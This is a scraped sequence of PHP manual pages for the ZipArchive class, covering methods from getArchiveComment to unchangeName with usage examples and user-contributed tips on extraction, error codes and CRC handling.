Anonymous 02-Dec-2009 04:38
I am using this function to extract a specific folder and it's contents from a zip file:

<?php
function extractDir($zipfile, $path) {
  if (file_exists($zipfile)) {
    $files = array();
    $zip = new ZipArchive;
    if ($zip->open($zipfile) === TRUE) {
      for($i = 0; $i < $zip->numFiles; $i++) {
        $entry = $zip->getNameIndex($i);
        //Use strpos() to check if the entry name contains the directory we want to extract
        if (strpos($entry, "/MyFolder/")) {
          //Add the entry to our array if it in in our desired directory
          $files[] = $entry;
        }
      }
      //Feed $files array to extractTo() to get only the files we want
      if ($zip->extractTo($path, $files) === TRUE) {
        return TRUE;
      } else {
        return FALSE;
      }
      $zip->close();
    } else {
      return FALSE;
    }
  } else {
    return FALSE;
  }
}

//Run the function
if (extractDir($zipfile, $path)) {
  $extracted = "YES! :-D";
} else {
  $extracted = "NO! :*(";
}

echo $extracted;
?>
kawzaki at yahoo dot com 31-May-2009 09:28
Please be aware of the fact that using this function has OVERWRITE true.

an old file will be overwritten if the achieve (zipped file) contains file matching the same old file name.

old files that has no match in the zip, will be kept as is.

hopefully the someone will explain how to avoid overwriting old files.
Anonymous 02-Apr-2009 01:50
I found it useful to add this to a function.

<?php
/**
*  Extracts a ZIP archive to the specified extract path
*
*  @param string $file The ZIP archive to extract (including the path)
*  @param string $extractPath The path to extract the ZIP archive to
*
*  @return boolean TURE if the ZIP archive is successfully extracted, FALSE if there was an errror
*
*/
function zip_extract($file, $extractPath) {

    $zip = new ZipArchive;
    $res = $zip->open($file);
    if ($res === TRUE) {
        $zip->extractTo($extractPath);
        $zip->close();
        return TRUE;
    } else {
        return FALSE;
    }

} // end function
?>
Kaya 03-Oct-2008 01:36
Make attention when using this function with apache & windows system. Windows file system use \  (backslash) instead of unix / (slash)
Use str_replace like this.
<?php
$zip = new ZipArchive;
    if ($zip->open("file.zip")){
        $path = getcwd() . "/dirToextract/";
        $path = str_replace("\\","/",$path);
        echo $path;
        echo $zip->extractTo($path);
        $zip->close();
        echo 'Done.';
    } else {
        echo "Error";
    }
?>
tBone 02-Jun-2008 05:03
This function, at least from my experience, maintains/forces the directory structure within the ZIP file.

ie. if you have FOLDER1/File1.txt in the zip file and you use
$zip->extractTo('/extract', 'FOLDER1/File1.txt');
the location of the extracted file will be:
/extract/FOLDER1/File1.txt
DerkaDerka 05-Mar-2007 10:48
This function will overwrite destination files with the same name.
ZipArchive::deleteName
ZipArchive::getArchiveComment
ZipArchive


Returns the Zip archive comment

ZipArchive::extractTo
ZipArchive::getCommentIndex
ZipArchive
PHP Manual

ZipArchive::getArchiveComment

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::getArchiveComment — Returns the Zip archive comment

Description

string ZipArchive::getArchiveComment ([ int $flags ] )

Returns the Zip archive comment.

Parameters

flags

If flags is set to ZIPARCHIVE::FL_UNCHANGED, the original unchanged comment is returned.

Return Values

Returns the Zip archive comment or FALSE on failure.

Examples

Example #1 Dump an archive comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test_with_comment.zip');
if ($res === TRUE) {
    var_dump($zip->getArchiveComment());
    /* Or using the archive property */
    var_dump($zip->comment);
} else {
    echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::extractTo
ZipArchive::getCommentIndex
ZipArchive


Returns the comment of an entry using the entry index

ZipArchive::getArchiveComment
ZipArchive::getCommentName
ZipArchive
PHP Manual

ZipArchive::getCommentIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.4.0)

ZipArchive::getCommentIndex — Returns the comment of an entry using the entry index

Description

string ZipArchive::getCommentIndex ( int $index [, int $flags ] )

Returns the comment of an entry using the entry index.

Parameters

index

Index of the entry

flags

If flags is set to ZIPARCHIVE::FL_UNCHANGED, the original unchanged comment is returned.

Return Values

Returns the comment on success or FALSE on failure.

Examples

Example #1 Dump an entry comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test1.zip');
if ($res === TRUE) {
    var_dump($zip->getCommentIndex(1));
} else {
    echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::getArchiveComment
ZipArchive::getCommentName
ZipArchive


Returns the comment of an entry using the entry name

ZipArchive::getCommentIndex
ZipArchive::getFromIndex
ZipArchive
PHP Manual

ZipArchive::getCommentName

(PHP 5 >= 5.2.0, PECL zip >= 1.4.0)

ZipArchive::getCommentName — Returns the comment of an entry using the entry name

Description

string ZipArchive::getCommentName ( string $name [, int $flags ] )

Returns the comment of an entry using the entry name.

Parameters

name

Name of the entry

flags

If flags is set to ZIPARCHIVE::FL_UNCHANGED, the original unchanged comment is returned.

Return Values

Returns the comment on success or FALSE on failure.

Examples

Example #1 Dump an entry comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test1.zip');
if ($res === TRUE) {
    var_dump($zip->getCommentName('test/entry1.txt'));
} else {
    echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::getCommentIndex
ZipArchive::getFromIndex
ZipArchive


Returns the entry contents using its index

ZipArchive::getCommentName
ZipArchive::getFromName
ZipArchive
PHP Manual

ZipArchive::getFromIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.3.0)

ZipArchive::getFromIndex — Returns the entry contents using its index

Description

mixed ZipArchive::getFromIndex ( int $index [, int $length = 0 [, int $flags ]] )

Returns the entry contents using its index.

Parameters

index

Index of the entry

length

The length to be read from the entry. If 0, then the entire entry is read.

flags

The flags to use to open the archive. the following values may be ORed to it.

  • ZIPARCHIVE::FL_UNCHANGED

  • ZIPARCHIVE::FL_COMPRESSED

Return Values

Returns the contents of the entry on success or FALSE on failure.

Examples

Example #1 Get the file contents

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    echo $zip->getFromIndex(2);
    $zip->close();
} else {
    echo 'failed';
}
?>

User Contributed Notes

jana.vasseru 17-Aug-2007 04:26
Note that getFromIndex returns false for directories.
Clay Loveless 18-Mar-2007 09:44
If you'd like to use this method with the flags listed, you need to specify the length of the entry to retrieve as the second parameter, with the flags as the third parameter.

In otherwords, as indicated in the source:

string getFromIndex(string entryname[, int len [, int flags]])
ZipArchive::getCommentName
ZipArchive::getFromName
ZipArchive


Returns the entry contents using its name

ZipArchive::getFromIndex
ZipArchive::getNameIndex
ZipArchive
PHP Manual

ZipArchive::getFromName

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::getFromName — Returns the entry contents using its name

Description

mixed ZipArchive::getFromName ( string $name [, int $length = 0 [, int $flags ]] )

Returns the entry contents using its name.

Parameters

name

Name of the entry

length

The length to be read from the entry. If 0, then the entire entry is read.

flags

The flags to use to open the archive. the following values may be ORed to it.

  • ZIPARCHIVE::FL_UNCHANGED

  • ZIPARCHIVE::FL_COMPRESSED

Return Values

Returns the contents of the entry on success or FALSE on failure.

Examples

Example #1 Get the file contents

<?php
$zip = new ZipArchive;
if ($zip->open('test1.zip') === TRUE) {
    echo $zip->getFromName('testfromfile.php');
    $zip->close();
} else {
    echo 'failed';
}
?>

Example #2 Convert an image from a zip entry

<?php
$z = new ZipArchive();
if ($z->open(dirname(__FILE__) . '/test_im.zip')) {
    $im_string = $z->getFromName("pear_item.gif");
    $im = imagecreatefromstring($im_string);
    imagepng($im, 'b.png');
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::getFromIndex
ZipArchive::getNameIndex
ZipArchive


Returns the name of an entry using its index

ZipArchive::getFromName
ZipArchive::getStatusString
ZipArchive
PHP Manual

ZipArchive::getNameIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::getNameIndex — Returns the name of an entry using its index

Description

string ZipArchive::getNameIndex ( int $index [, int $flags ] )

Returns the name of an entry using its index.

Parameters

index

Index of the entry.

flags

If flags is set to ZIPARCHIVE::FL_UNCHANGED, the original unchanged name is returned.

Return Values

Returns the name on success or FALSE on failure.

Examples

Example #1 getnameindex() example

<?php
if ($zip->open('test.zip') == TRUE) {
 for ($i = 0; $i < $zip->numFiles; $i++;) {
     $filename = $zip->getNameIndex($i);
     // ...
 }
}
?>

User Contributed Notes

Yeslifer 03-Mar-2009 04:13
I couldn't find any how-to example for getting the filenames, so I made an easy one.

Here's an example how to list all filenames from a zip-archive:

<?php
$zip = new ZipArchive;
if ($zip->open('items.zip'))
{
     for($i = 0; $i < $zip->numFiles; $i++)
     {
          echo 'Filename: ' . $zip->getNameIndex($i) . '<br />';
     }
}
else
{
     echo 'Error reading zip-archive!';
}
?>

Hope it helps.
ZipArchive::getFromName
ZipArchive::getStatusString
ZipArchive


Returns the status error message, system and/or zip messages

ZipArchive::getNameIndex
ZipArchive::getStream
ZipArchive
PHP Manual

ZipArchive::getStatusString

(PHP 5 >= 5.2.7)

ZipArchive::getStatusString — Returns the status error message, system and/or zip messages

Description

string ZipArchive::getStatusString ( void )

Returns the status error message, system and/or zip messages.

Parameters

This function has no parameters.

Return Values

Returns a string with the status message on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::getNameIndex
ZipArchive::getStream
ZipArchive


Get a file handler to the entry defined by its name (read only).

ZipArchive::getStatusString
ZipArchive::locateName
ZipArchive
PHP Manual

ZipArchive::getStream

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::getStream — Get a file handler to the entry defined by its name (read only).

Description

resource ZipArchive::getStream ( string $name )

Get a file handler to the entry defined by its name. For now it only supports read operations.

Parameters

name

The name of the entry to use.

Return Values

Returns a file pointer (resource) on success or FALSE on failure.

Examples

Example #1 Get the entry contents with fread() and store it

<?php
$content = '';
$z = new ZipArchive();
if ($z->open('test.zip')) {
    $fp = $z->getStream('test');
    if(!$fp) exit("failed\n");

    while (!feof($fp)) {
        $contents .= fread($fp, 2);
    }

    fclose($fp);
    file_put_contents('t',$contents);
    echo "done.\n";
}
?>

Example #2 Same as the previous example but with fopen() and the zip stream wrapper

<?php
$fp = fopen('zip://' . dirname(__FILE__) . '/test.zip#test', 'r');
if (!$fp) {
    exit("cannot open\n");
}
while (!feof($fp)) {
    $contents .= fread($fp, 2);
    echo "$contents\n";
}
fclose($fp);
echo "done.\n";
?>

Example #3 Stream wrapper and image, can be used with the xml function as well

<?php
$im = imagecreatefromgif('zip://' . dirname(__FILE__) . '/test_im.zip#pear_item.gif');
imagepng($im, 'a.png');
?>

User Contributed Notes

Anonymous 18-Aug-2011 05:06
I experienced problems using fread to read the content of the zip when the file was PDF. Using stream_get_contents instead solved the problem.
ZipArchive::getStatusString
ZipArchive::locateName
ZipArchive


Returns the index of the entry in the archive

ZipArchive::getStream
ZipArchive::open
ZipArchive
PHP Manual

ZipArchive::locateName

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::locateName — Returns the index of the entry in the archive

Description

mixed ZipArchive::locateName ( string $name [, int $flags ] )

Locates an entry using its name.

Parameters

name

The name of the entry to look up

flags

The flags are specified by ORing the following values, or 0 for none of them.

  • ZIPARCHIVE::FL_NOCASE

  • ZIPARCHIVE::FL_NODIR

Return Values

Returns the index of the entry on success or FALSE on failure.

Examples

Example #1 Create an archive and then use it with ZipArchive::locateName()

<?php
$file = 'testlocate.zip';

$zip = new ZipArchive;
if ($zip->open($file, ZIPARCHIVE::CREATE) !== TRUE) {
    exit('failed');
}

$zip->addFromString('entry1.txt', 'entry #1');
$zip->addFromString('entry2.txt', 'entry #2');
$zip->addFromString('dir/entry2d.txt', 'entry #2');

if (!$zip->status == ZIPARCHIVE::ER_OK) {
    echo "failed to write zip\n";
}
$zip->close();

if ($zip->open($file) !== TRUE) {
    exit('failed');
}

echo $zip->locateName('entry1.txt') . "\n";
echo $zip->locateName('eNtry2.txt') . "\n";
echo $zip->locateName('eNtry2.txt', ZIPARCHIVE::FL_NOCASE) . "\n";
echo $zip->locateName('enTRy2d.txt', ZIPARCHIVE::FL_NOCASE|ZIPARCHIVE::FL_NODIR) . "\n";
$zip->close();

?>

The above example will output:

0

1
2

User Contributed Notes

me at nowhere dot com 03-Sep-2008 01:04
If the option ZIPARCHIVE::FL_NODIR is used, the result may be ambiguous as files with the same name may occur in various directories. In this case, the first occurence in the index whoose name matches is returned.
E.g.

<?php
$zip->addFromString('afile.txt', 'index 0');
$zip->addFromString('double.txt', 'index 1');
$zip->addFromString('dir/double.txt', 'index 2');
?>

$zip->locateName('double.txt',ZIPARCHIVE::FL_NODIR) returns 1
ZipArchive::getStream
ZipArchive::open
ZipArchive


Open a ZIP file archive

ZipArchive::locateName
ZipArchive::renameIndex
ZipArchive
PHP Manual

ZipArchive::open

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::open — Open a ZIP file archive

Description

mixed ZipArchive::open ( string $filename [, int $flags ] )

Opens a new zip archive for reading, writing or modifying.

Parameters

filename

The file name of the ZIP archive to open.

flags

The mode to use to open the archive.

  • ZIPARCHIVE::OVERWRITE

  • ZIPARCHIVE::CREATE

  • ZIPARCHIVE::EXCL

  • ZIPARCHIVE::CHECKCONS

Return Values

Error codes

Returns TRUE on success or the error code.

  • ZIPARCHIVE::ER_EXISTS

    File already exists.

  • ZIPARCHIVE::ER_INCONS

    Zip archive inconsistent.

  • ZIPARCHIVE::ER_INVAL

    Invalid argument.

  • ZIPARCHIVE::ER_MEMORY

    Malloc failure.

  • ZIPARCHIVE::ER_NOENT

    No such file.

  • ZIPARCHIVE::ER_NOZIP

    Not a zip archive.

  • ZIPARCHIVE::ER_OPEN

    Can't open file.

  • ZIPARCHIVE::ER_READ

    Read error.

  • ZIPARCHIVE::ER_SEEK

    Seek error.

Examples

Example #1 Open and extract

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    echo 'ok';
    $zip->extractTo('test');
    $zip->close();
} else {
    echo 'failed, code:' . $res;
}
?>

Example #2 Create an archive

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->addFile('data.txt', 'entryname.txt');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

YiiWanAB at hotmail dot com 30-Aug-2011 10:06
Most of the time people iterate over a directory with 'opendir' or 'readdir' to add files to a zip. Like...

while ($file = readdir($dir)) { ... $zip->addFile($file) }

Note that $zip->addFile($file) will only work in the current directory if your at the root. You will need to add the correct path to that $file string variable to have the full file name like ...

$zip->addFile($dir . DIRECTORY_SEPARATOR . $file); will work.

This may identify why you may get a read error when closing the file.

Enjoy.
sunil dt bhave at gmail dt com 16-Mar-2011 10:44
Even though the api specifies that the flags are optional I found that I had to specify the flag ZIPARCHIVE::CREATE for an archive to be opened.
This is on a Windows 7 system with PHP 5.3.0
Jan Vavra 10-Mar-2011 12:04
As discussed in http://bugs.php.net/bug.php?id=54128 on Windows Server systems (2003, 2008) and IIS there is a problem when you want to unzip file stored in C:\Windows\Temp folder.
User of worker process IUSR_XXX has no directory listing right for C:\Windows\Temp and this is a reason why ZipArchive::open() fails with error 11 (error open). So it is not a good idea to store file for unzipping in folder defined by sys_get_temp_dir().
sebwoolford at gmail dot com 23-Oct-2009 03:29
Further to what rickky at gmail dot com was saying, I've had that problem while trying to cache zip files and found that I had to set the permissions of the containing folder to 777 to get it to work.

Because this is a potential security weakness if on a public viewable folder, I'd recommend moving the folder so that it is no longer within public_html. You can then use readfile() to output the archive to the browser, with some HTTP headers to tell the browser it is a zip file.
michael202 at gmx dot de 29-Jul-2009 06:33
to anyone getting an error ZIPARCHIVE::ER_READ = 5, when
doing $zip->open($zipfile) with a ZIP file containing a total of more then (around) 800 files (even when they are in sub-directories).

possibly related bugs 40873, 8714:

1. it was not an OS limit, because it worked when called from windows via samba on the same file at the same place

2. it wasn't working under 32bit linux

with php 5.3.0 the issue seems to be resolved.
eric at webdeveric dot com 06-Feb-2009 07:06
With php 5.2.6, the following code created a new zip or replaced a existing zip.
Note that I am only using the ZIPARCHIVE::OVERWRITE flag.

<?php
    $zip = new ZipArchive();
    $opened = $zip->open( $zipFileName, ZIPARCHIVE::OVERWRITE );
    if( $opened !== true ){
        die("cannot open {$zipFileName} for writing.");
    }
    $zip->addFromString( $name, $contents );
    $zip->close();
?>

Now, with php 5.2.8, it does not work and gives this warning:

Warning: ZipArchive::addFromString() [ziparchive.addfromstring]: Invalid or unitialized Zip object in [myfile] on line [myline]

To fix this, you must specify the flags as create or overwrite.

<?php
    $zip = new ZipArchive();
    $opened = $zip->open( $zipFileName, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE );
    if( $opened !== true ){
        die("cannot open {$zipFileName} for writing.");
    }
    $zip->addFromString( $name, $contents );
    $zip->close();
?>

When googling for the error message I found a lot of people that had it but couldn't figure out why they were getting it.
I hope this helps someone.
jj at icglink dot com 04-Dec-2008 11:09
if you are echoing out the output and confused about the number...maybe this will help.  i'm not totally sure it is accurate though.

ZIPARCHIVE::ER_EXISTS - 10
ZIPARCHIVE::ER_INCONS - 21
ZIPARCHIVE::ER_INVAL - 18
ZIPARCHIVE::ER_MEMORY - 14
ZIPARCHIVE::ER_NOENT - 9
ZIPARCHIVE::ER_NOZIP - 19
ZIPARCHIVE::ER_OPEN - 11
ZIPARCHIVE::ER_READ - 5
ZIPARCHIVE::ER_SEEK - 4
azsymvelik at gmail dot com 01-Aug-2008 01:25
<?php

/*
Hi!

I made a little script about checking content and "secure repacking"
*/

$somefile = "zip.zip";
$someurl = "/some/url"
$zip = new ZipArchive;
$open = $zip->open($somefile, ZIPARCHIVE::CHECKCONS);
// If the archive is broken(or just another file renamed to *.zip) the function will return error on httpd under windows, so it's good to check if the archive is ok with ZIPARCHIVE::CHECKCONS
if ($open === TRUE) {
if(!$zip->extractTo($someurl)) {
die ("Error during extracting");
}
$zip->close();
}
$new_archive_name = "new.zip";
$new_zip = new ZipArchive;
$new_open = $new_zip->open($new_archive_name, ZIPARCHIVE::CREATE);
if ($new_open === TRUE) {
$dir = opendir($someurl);
while ($file = readdir($dir)) {
 if ($file == "." || $file == "..") { } else {
 //We do not wanna this files in the new zip archive
  if (!$new_zip->addFile($file)) {
     print $file."was not added!<br />";
   }
  }
 }
}
$new_zip->close();
?>
Jonathan Baltazar 23-Jul-2008 07:14
The file name does not need to end in '.zip' if it is created using tempnam().  You just need to overwrite the file instead of trying to read it:

<?php
$file = tempnam("tmp", "zip");

$zip = new ZipArchive();

// Zip will open and overwrite the file, rather than try to read it.
$zip->open($file, ZipArchive::OVERWRITE);

$zip->close();

// Stream the file to the client
header("Content-Type: application/zip");
header("Content-Length: " . filesize($file));
header("Content-Disposition: attachment; filename=\"a_zip_file.zip\"");
readfile($file);

unlink($file);
?>
olivier pons 16-May-2008 12:26
If you try this to open a file with creation in mind (= empty zip to fill with other files), this may not work :

$res = $zip->open($zip_file, ZipArchive::CREATE);

// you may get false

Try this instead, it should work :

$res = $zip->open($zip_file, ZIPARCHIVE::OVERWRITE);
Anonymous 18-Dec-2007 06:26
It seems the filename has to end in '.zip', so this suffix must be added when using tempnam() to create a random temporary file name.
rickky at gmail dot com 02-Jul-2007 05:07
If the directory you are writing or saving into does not have the correct permissions set, you won't get any error messages and it will look like everything worked fine... except it won't have changed!

Instead make sure you collect the return value of ZipArchive::close(). If it is false... it didn't work.
ZipArchive::locateName
ZipArchive::renameIndex
ZipArchive


Renames an entry defined by its index

ZipArchive::open
ZipArchive::renameName
ZipArchive
PHP Manual

ZipArchive::renameIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::renameIndex — Renames an entry defined by its index

Description

bool ZipArchive::renameIndex ( int $index , string $newname )

Renames an entry defined by its index.

Parameters

index

Index of the entry to rename.

newname

New name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Rename one entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->renameIndex(2,'newname.txt');
    $zip->close();
} else {
    echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::open
ZipArchive::renameName
ZipArchive


Renames an entry defined by its name

ZipArchive::renameIndex
ZipArchive::setArchiveComment
ZipArchive
PHP Manual

ZipArchive::renameName

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::renameName — Renames an entry defined by its name

Description

bool ZipArchive::renameName ( string $name , string $newname )

Renames an entry defined by its name.

Parameters

name

Name of the entry to rename.

newname

New name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Rename one entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->renameName('currentname.txt','newname.txt');
    $zip->close();
} else {
    echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::renameIndex
ZipArchive::setArchiveComment
ZipArchive


Set the comment of a ZIP archive

ZipArchive::renameName
ZipArchive::setCommentIndex
ZipArchive
PHP Manual

ZipArchive::setArchiveComment

(PHP 5 >= 5.2.0, PECL zip >= 1.4.0)

ZipArchive::setArchiveComment — Set the comment of a ZIP archive

Description

mixed ZipArchive::setArchiveComment ( string $comment )

Set the comment of a ZIP archive.

Parameters

comment

The contents of the comment.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create an archive and set a comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->setArchiveComment('new archive comment');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::renameName
ZipArchive::setCommentIndex
ZipArchive


Set the comment of an entry defined by its index

ZipArchive::setArchiveComment
ZipArchive::setCommentName
ZipArchive
PHP Manual

ZipArchive::setCommentIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.4.0)

ZipArchive::setCommentIndex — Set the comment of an entry defined by its index

Description

mixed ZipArchive::setCommentIndex ( int $index , string $comment )

Set the comment of an entry defined by its index.

Parameters

index

Index of the entry.

comment

The contents of the comment.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Open an archive and set a comment for an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->setCommentIndex(2, 'new entry comment');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::setArchiveComment
ZipArchive::setCommentName
ZipArchive


Set the comment of an entry defined by its name

ZipArchive::setCommentIndex
ZipArchive::statIndex
ZipArchive
PHP Manual

ZipArchive::setCommentName

(PHP 5 >= 5.2.0, PECL zip >= 1.4.0)

ZipArchive::setCommentName — Set the comment of an entry defined by its name

Description

mixed ZipArchive::setCommentName ( string $name , string $comment )

Set the comment of an entry defined by its name.

Parameters

name

Name of the entry.

comment

The contents of the comment.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Open an archive and set a comment for an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->setCommentName('entry1.txt', 'new entry comment');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::setCommentIndex
ZipArchive::statIndex
ZipArchive


Get the details of an entry defined by its index.

ZipArchive::setCommentName
ZipArchive::statName
ZipArchive
PHP Manual

ZipArchive::statIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::statIndex — Get the details of an entry defined by its index.

Description

mixed ZipArchive::statIndex ( int $index [, int $flags ] )

The function obtains information about the entry defined by its index.

Parameters

index

Index of the entry

flags

ZIPARCHIVE::FL_UNCHANGED may be ORed to it to request information about the original file in the archive, ignoring any changes made.

Return Values

Returns an array containing the entry details or FALSE on failure.

Examples

Example #1 Dump the stat info of an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    print_r($zip->statIndex(3));
    $zip->close();
} else {
    echo 'failed, code:' . $res;
}
?>

The above example will output something similar to:

Array
(
    [name] => foobar/baz
    [index] => 3
    [crc] => 499465816
    [size] => 27
    [mtime] => 1123164748
    [comp_size] => 24
    [comp_method] => 8
)

User Contributed Notes

Chris Lewis 20-Dec-2011 12:15
Note that the signed-integer CRC result is only true on 32-bit systems. 64-bit systems return correct CRCs.

A safer way (as recommended by crc32() function page) might be:

if ($file['crc'] < 0)
   $file['crc'] = sprintf("%u",$file['crc']);
Anonymous 16-Nov-2011 08:20
The CRC returned from this method is a signed number and so can be negative. This isn't how most CRC's are represented and so can cause problems. Another thing to know is that the standerd CRC algorithm used for zip files is CRC32b.

So to put this together lets say that you wanted to extract the first file from a zip and then compare the original CRC with the CRC for the extracted file this is what you would need to do. (proper error checking is omitted for simplicity).

<?php
 $zip = new ZipArchive();

 $zip->open("myZip.zip");

 $stat = $zip->statIndex( 0 );

 $name = $stat['name'];

 $oldCrc = $stat['crc'];

 $zip->extractTo("myPath", $name);

 $newCrc = hexdec(hash_file("crc32b", "myPath/" . $name));

 // Have to test both cases as the unsigned CRC from within the zip might appear negative as a signed int.
 if($newCrc !== $oldCrc && ($oldCrc + 4294967296) !== $newCrc) {
    echo "The files don't match!";
 }
?>
ZipArchive::setCommentName
ZipArchive::statName
ZipArchive


Get the details of an entry defined by its name.

ZipArchive::statIndex
ZipArchive::unchangeAll
ZipArchive
PHP Manual

ZipArchive::statName

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::statName — Get the details of an entry defined by its name.

Description

mixed ZipArchive::statName ( name $name [, int $flags ] )

The function obtains information about the entry defined by its name.

Parameters

name

Name of the entry

flags

The flags argument specifies how the name lookup should be done. Also, ZIPARCHIVE::FL_UNCHANGED may be ORed to it to request information about the original file in the archive, ignoring any changes made.

  • ZIPARCHIVE::FL_NOCASE

  • ZIPARCHIVE::FL_NODIR

  • ZIPARCHIVE::FL_UNCHANGED

Return Values

Returns an array containing the entry details or FALSE on failure.

Examples

Example #1 Dump the stat info of an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    print_r($zip->statName('foobar/baz'));
    $zip->close();
} else {
    echo 'failed, code:' . $res;
}
?>

The above example will output something similar to:

Array
(
    [name] => foobar/baz
    [index] => 3
    [crc] => 499465816
    [size] => 27
    [mtime] => 1123164748
    [comp_size] => 24
    [comp_method] => 8
)

User Contributed Notes

Stewart Rice 26-Mar-2010 04:18
Since a Unix Timestamp is measured in seconds, not milliseconds, I would have to assume that mtime is 'modified time' rather than 'millisecond time'... however it does not appear to work on a Linux system
martin_packer at uk dot ibm dot com 23-Oct-2009 08:43
This may be stating the obvious but I assume that mtime is "millisecond time". Using http://www.onlineconversion.com/unix_time.htm  the example time "1123164748" converts to "Thu, 04 Aug 2005 14:12:28 GMT".

The two sizes - size and comp_size are presumably in bytes (the latter being the compressed file in the archive).
ZipArchive::statIndex
ZipArchive::unchangeAll
ZipArchive


Undo all changes done in the archive

ZipArchive::statName
ZipArchive::unchangeArchive
ZipArchive
PHP Manual

ZipArchive::unchangeAll

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::unchangeAll — Undo all changes done in the archive

Description

mixed ZipArchive::unchangeAll ( void )

Undo all changes done in the archive.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::statName
ZipArchive::unchangeArchive
ZipArchive


Revert all global changes done in the archive.

ZipArchive::unchangeAll
ZipArchive::unchangeIndex
ZipArchive
PHP Manual

ZipArchive::unchangeArchive

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::unchangeArchive — Revert all global changes done in the archive.

Description

mixed ZipArchive::unchangeArchive ( void )

Revert all global changes to the archive. For now, this only reverts archive comment changes.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::unchangeAll
ZipArchive::unchangeIndex
ZipArchive


Revert all changes done to an entry at the given index

ZipArchive::unchangeArchive
ZipArchive::unchangeName
ZipArchive
PHP Manual

ZipArchive::unchangeIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::unchangeIndex — Revert all changes done to an entry at the given index

Description

mixed ZipArchive::unchangeIndex ( int $index )

Revert all changes done to an entry at the given index.

Parameters

index

Index of the entry.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

till at php dot net 29-Aug-2010 08:29
Consider this example:

<?php
$zip = new ZipArchive;
$zip->open(...);

$zip->addFile('path/file', 'foo');
$zip->renameIndex(0, 'bar');

echo $zip->getNameIndex(0); // 'bar'

$zip->unchangeIndex(0);

echo $zip->getNameIndex(0); // 'false'
?>

Unless you call save() in between, the unchangeIndex() call reverts back to the initial state of the archive - where index '0' did not exist.

If you called save() after addFile() and then renamed the file, you would be able to revert/undo the name change.
ZipArchive::unchangeArchive
ZipArchive::unchangeName
ZipArchive


Revert all changes done to an entry with the given name.

ZipArchive::unchangeIndex
Zip Functions
ZipArchive
PHP Manual

ZipArchive::unchangeName

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::unchangeName — Revert all changes done to an entry with the given name.

Description

mixed ZipArchive::unchangeName ( string $name )

Revert all changes done to an entry.

Parameters

name

Name of the entry.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::unchangeIndex
Zip Functions
ZipArchive


Zip Functions

Table of Contents

  • zip_close — Close a ZIP file archive
  • zip_entry_close — Close a directory entry
  • zip_entry_compressedsize — Retrieve the compressed size of a directory entry
